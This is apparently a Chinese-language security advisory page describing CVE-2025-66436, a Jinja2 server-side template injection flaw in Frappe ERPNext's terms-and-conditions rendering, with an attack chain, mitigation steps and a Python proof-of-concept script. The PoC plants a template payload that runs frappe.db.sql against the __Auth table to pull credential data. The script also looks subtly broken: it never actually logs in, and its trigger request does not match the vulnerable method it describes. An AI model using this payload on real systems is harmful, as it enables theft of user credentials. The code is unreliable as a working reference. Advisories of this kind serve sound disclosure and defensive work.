IPBUF安全漏洞报告
English
CVE-2025-66436 CVSS 4.3 中危

CVE-2025-66436 Frappe ERPNext SSTI服务器端模板注入漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-66436
漏洞类型
服务端模板注入(SSTI)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frappe ERPNext

相关标签

SSTI服务器端模板注入Frappe ERPNextCVE-2025-66436Jinja2代码执行信息泄露中危漏洞

漏洞概述

CVE-2025-66436是Frappe ERPNext中存在的一个服务器端模板注入(SSTI)漏洞,影响版本直至15.89.0。该漏洞位于get_terms_and_conditions方法中,该方法使用frappe.render_template()函数渲染Jinja2模板时,将用户可控的terms字段与doc上下文一起传递。虽然Frappe框架使用了自定义的SandboxedEnvironment来隔离模板执行环境,但由于get_safe_globals()中仍保留了frappe.db.sql等危险全局函数,攻击者可以利用这些函数执行数据库操作。拥有Terms and Conditions文档创建或修改权限的认证用户可以通过在terms字段中注入任意Jinja表达式来实现服务端代码执行,从而窃取数据库信息或进行进一步的攻击。

技术细节

该漏洞的核心问题在于get_terms_and_conditions方法不安全地处理用户输入。攻击者首先需要创建或修改一个Terms and Conditions文档,然后在terms字段中注入恶意Jinja2表达式。由于Frappe的SandboxedEnvironment并非完全隔离,get_safe_globals()函数仍然暴露了frappe.db.sql等敏感方法。攻击者可以通过构造类似{{frappe.db.sql('SELECT * FROM __Auth')}}的Payload来执行任意SQL查询,获取数据库中的敏感信息,包括用户认证凭据。更进一步,利用frappe.utils的数据处理能力,攻击者可能实现更复杂的攻击链,如读取配置文件、执行系统命令等。漏洞的利用需要低权限认证用户,但无需用户交互即可完成攻击。

攻击链分析

STEP 1
步骤1
攻击者通过低权限账户登录Frappe ERPNext系统
STEP 2
步骤2
创建或修改Terms and Conditions文档,在terms字段中注入恶意Jinja2表达式,如{{frappe.db.sql('SELECT * FROM __Auth')}}
STEP 3
步骤3
触发get_terms_and_conditions方法,调用frappe.render_template()渲染包含恶意Payload的terms模板
STEP 4
步骤4
由于SandboxedEnvironment中仍保留frappe.db.sql等危险全局函数,恶意Jinja表达式被执行
STEP 5
步骤5
攻击者获取数据库查询结果,实现数据窃取或进一步权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66436 SSTI PoC for Frappe ERPNext # Target: Frappe ERPNext < 15.90.0 import requests # Configuration target_url = "https://vulnerable-erpnext-instance.com" api_key = "your_api_key" api_secret = "your_api_secret" # Authentication session = requests.Session() login_url = f"{target_url}/api/method/login" login_data = { "usr": api_key, "pwd": api_secret } # Create malicious Terms and Conditions terms_url = f"{target_url}/api/resource/Terms and Conditions" malicious_payload = """{{frappe.db.sql('SELECT user_name, email FROM __Auth')}}""" terms_data = { "terms_title": "Malicious Terms", "terms": malicious_payload, "modified": 1 } # Send the request to create Terms and Conditions with SSTI payload headers = {"Content-Type": "application/json"} response = session.post(terms_url, json=terms_data, headers=headers) # Trigger the SSTI by calling get_terms_and_conditions trigger_url = f"{target_url}/api/method/frappe.utils.print_format.download_pdf" trigger_data = { "doctype": "Sales Order", "name": "SO-001", "format": "Standard", "terms": "Malicious Terms" } response = session.post(trigger_url, json=trigger_data, headers=headers) print(f"Response: {response.text}")

影响范围

Frappe ERPNext < 15.90.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 限制Terms and Conditions文档的创建和修改权限,仅允许管理员操作;2) 在应用层实现输入过滤,检测并阻止terms字段中的{{、{%等Jinja2模板语法;3) 监控frappe.db.sql的调用日志,及时发现异常查询行为;4) 考虑临时禁用get_terms_and_conditions方法中危险的模板渲染功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表